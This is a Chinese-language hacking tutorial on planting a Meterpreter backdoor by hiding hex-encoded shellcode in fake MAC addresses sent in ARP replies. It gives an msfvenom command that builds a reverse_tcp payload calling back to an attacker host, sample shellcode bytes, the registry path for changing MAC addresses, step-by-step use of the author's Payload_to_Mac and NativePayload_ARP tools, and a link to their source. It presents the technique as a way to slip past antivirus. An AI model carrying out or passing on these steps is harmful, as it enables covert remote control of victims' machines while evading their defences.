导语:在介绍完如何通过DNS植入木马之后,我现在想介绍一下如何通过ARP攻击植入木马,而且我还想告诉你”大部分的杀毒软件都没办法检测到这种攻击”
在进入正文之前,我想先介绍一下ARP攻击在你的网络中是如何进行的:
图片一:ARP传输的步骤
步骤一:系统A对所有机器广播:谁是192.168.1.5,我想知道你的MAC地址 步骤二:系统B发送一个数据包对广播作出回应:我是192.168.1.5,这是我的MAC地址。这一步骤是这篇文章的重点,我们会通过这一步骤进行木马的传输。 步骤三:对这种攻击无关紧要。
因为攻击者可以通过MAC地址传输他们的字节码,这是黑客通过网络悄悄地传输木马的另一条高速公路。相信我,这是一个很棒的方法,虽然传输的速度很慢。
由于服务器或者客户端总是每天24小时在网络中在线(特别是服务器),所以你不用担心你需要多长时间来建立链接并且传输木马。
在这种攻击中,攻击者需要两台电脑,但是你可以只用一台电脑就可达到目的。但是我还是想站在攻击者角度说明一下如何通过两个两个系统进行攻击。攻击方一个系统的版本是linux,第二个系统的版本是Win7-SP1。
靶机的操作系统也是Win7-SP,所以我们一共有3个系统。
在这篇文章中,后门就充当图片一中的系统A,最后后门通过ARP通信从攻击机(macchanger系统)下载木马。在这种情况下,我的后门试图在ARP通信中下载一个meterpreter木马。这篇文章中,从192.168.1.113(存在后门的系统)到192.168.1.5(macchanger系统)的ARP通信38分钟后,我们得到了一个Meterpreter后门,是由192.168.1.113到192.168.1.50(kali)。
图片二:通过arp进行攻击的步骤
步骤一:被后门感染的系统发送ARP请求,寻找192.168.1.5(攻击机器1-WIN7)
步骤二:攻击机器1用假的mac进行回应。
注意:假的MAC是将meterpreter后门进行十六进制编码,并且通过APR传输将这些信息注入到MAC地址中,直接发送到被攻击的机器(有后门的机器)。
步骤三:被攻击的机器将二进制代码解析,植入meterpreter木马,连接到了攻击系统2-kali linux(在37分钟后成功)中。
这种攻击方法的确不是很快,但是它是可行的。不过我们在这种攻击中也存在一些问题。至于哪一方面存在问题呢?在我解释哪存在问题之前,我先用一个简单的例子给你展示一下我的代码是如何进行工作的:
图片三:macchanger系统回应注入木马的假mac地址的BAT文件
注入木马字节:
你在图片三的第一行已经看到我们有一个MAC地址:00fc4883e4f0。这个MAC地址有两部分,第一部分是00,第二部分是fc4883e4f0。第二部分是meterpreter木马第一行的第一个字节。这不是一个MAC地址,但是你可以用它来伪装成MAC地址进行ARP通信。
使用我的工具Payload_to_Mac.exe可以很简单的设置和更改NIC的网络接口连接的MAC地址。这个工具就像linux中的macchanger工具。在图片三中的第一行,这个工具为"Local Area Connection"设置我们的MAC地址。为什么我们要做这些呢?
这是因为我想用这个注入木马的MAC地址回应ARP请求。所以我们已经做了这些(图4):注意:
“local Area Connection”是我们的Macchanger机器。infected系统是我们存在后门的机器。
图片四
在上图中,我们从三个回复中已经得到了木马的字节:
{ fc4883e4f0 + e8cc000000 + 4151415052 } == fc4883e4f0e8cc0000004151415052
存在后门我们需要攻击的机器ip是:192.168.1.113,我们更改mac进行攻击的win7机器的ip是:192.168.1.5
现在可以比较图三和图四,这样你可以发现这种攻击是怎么通过ARP通信把后门植入的。
注意:在Linux中你可以使用arpspoof,ettercap这些工具进行攻击,但是这些工具可能被一些杀毒软件或者防火墙拦截。不过我的这种方法被杀毒软件发现的几率是特别小的。
在这种攻击方法中,MAC地址重复是可能发生的另外一个问题,所以我们在图片6中提出了降低问题发生几率的方法。例子到这就说到这了。现在,我想说一下我们在这种攻击方法中遇到的问题。
图片五
上图中,我们可以发现我们通过响应,得到了这些木马字节:
{ fc4883e4f0 + 000c4dabc000 + e8cc000000 + 4151415052 } == fc4883e4f0000c4dabc000e8cc0000004151415052
在图片五中,你会发现我们由于我们的payload构造不正确导致有一个错误的MAC地址。那么我们应该怎么修复这个问题呢?
图片六
我在图片六中找到了一些解决方法。你可以将payload从分成两部分到分成三部分。
00{payload} ===> 00{payload}00f0
现在,可以在后门代码中检查新的格式,当你收到一个MAC地址,而没有第三部分时,代码应该丢弃该MAC地址。因为这是未知的响应,所以这是无效的注入有效载荷。现在我们可以开始用我的工具进行攻击了,但是第一步你需要生成木马:
在kali中,你可以使用msfvenom生成木马。kali的ip地址是192.168.1.50
msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 -f c > /root/desktop/payload.txt
现在你应该把payload.txt里面的内容复制到windows 攻击机(192.168.1.5)中.如图片七所示:
图七:payload.txt
使用Payload_to_Mac.exe工具:
这一步骤你需要使用在图七中生成的payload以及图八所示的工具。你需要复制payload.txt里面的内容在你输入”null”之后。使用方法:Payload_to_Mac.exe null payload
注意:这一工具需要系统权限用来更改mac地址。你可以不带参数使用这个工具,这样你可以看到所有的用法:
图八:Payload_to_Mac工具
在下面图片中,你可以看到我使用null+payload选项的输出:
图8-1:选择null+payload
现在,你应该把这个工具的所有输出复制到一个BAT文件夹中,就像图九给出的例子Macchanger.bat一样,并且在运行是需要使用管理员权限。
在这一 步骤,你需要在文件的第一行添加像图九一样的内容。这个MAC地址是在我的后门代码中是ARP通信开始的标志。所以,需要添加这一行,并且保存他。
图九:Bat文件添加新的一行
在这一个步骤,你应该再在最后一行添加一行新的MAC地址(就像图片10)。
图十:Bat文件最后添加一行
这个mac地址是ARP通信结束的标志。现在在此步骤中,您应该检查网络适配器和注册表Regkey_Parent中的这些属性:要更改Win7中的mac地址,您需要通过此路径在Windows中找到此注册表地址:
"SYSTEMCurrentControlSetControlClass{4D36E972-E325-11CE-BFC1-08002BE10318}"
通过检查这个路径,你可以找到你的Parent_Regkey。我在我电脑上找到的parent_key是0007(图十一所示),因为在007中我找到了我的NIC的“Dirver Desc”。
Driver Desc = Intel® PRO/1000 MT Network
您可以看到我的网络连接“本地连接”属性与此Regkey相同,都是“英特尔®PRO / 1000
MT网络”,所以我的Parent_REGKEY是0007.这个数字在不同的机器上是不一样的。最后我应该将所有“连接名称”从“本地网络连接(Local
Network Connection)”更改为“本地连接(Local Area connection)”。
注意:让本地连接的ip地址设置为静态的。值为:192.168.1.5
在这一步骤,你应该使用静态的IP地址:192.168.1.5,在图11你可以看到如何设置你的windows。
图11:bat文件,Parent_key,连接名称
注意:如果你在Bat文件中的设置与注册表以及NIC名称不匹配,这个工具不能改变你的MAC地址。
现在我对Payload_to_mac.exe已经设置完成,但是你需要在靶机执行NativePayload_ARP.exe工具,这一步对攻击来说非常重要。首先运行NativePayload_ARP.exe(靶机)接下来在运行Payload_to_mac.exe(攻击机1)
现在你可以使用NativePayload_ARP.exe通过ARP通信传输Meterpreter木马,并且在内存中执行meterpreter后门。
NativePayload_ARP.exe工具使用步骤:
步骤一:
你可以使用这个工具,就像图12一样,不带任何参数。
运行程序之后,你可以输入你要进行ARP通信的IP地址(攻击机1)。在我的环境中,我输入192.168.1.5,敲回车。接下来为了发送ARP请求你应该输入你的本地IP地址,也就是被攻击的机器的IP。在这个环境,我输入的是192.168.1.113.
注意:靶机的ip地址是192.168.1.113,我的后门(NativePayload_ARP.exe)是在这台机器上执行的。如图12
图12
在38分钟之后,我终于得到了meterpreter反弹回来的木马。(图13)
图13
我使用的是世界顶尖的杀毒软件,不过我在没有任何编码的情况下绕过了他。
工具源码:http://github.com/DamonMohammadbagher/NativePayload_ARP
视频
注意:
我的github帐户被黑客攻击,有人更改了NativePayload_ARP(3次)的源代码,并更改了我的exe文件,所以我的github中的EXE文件被我删除,所以你需要自己去编译代码。:)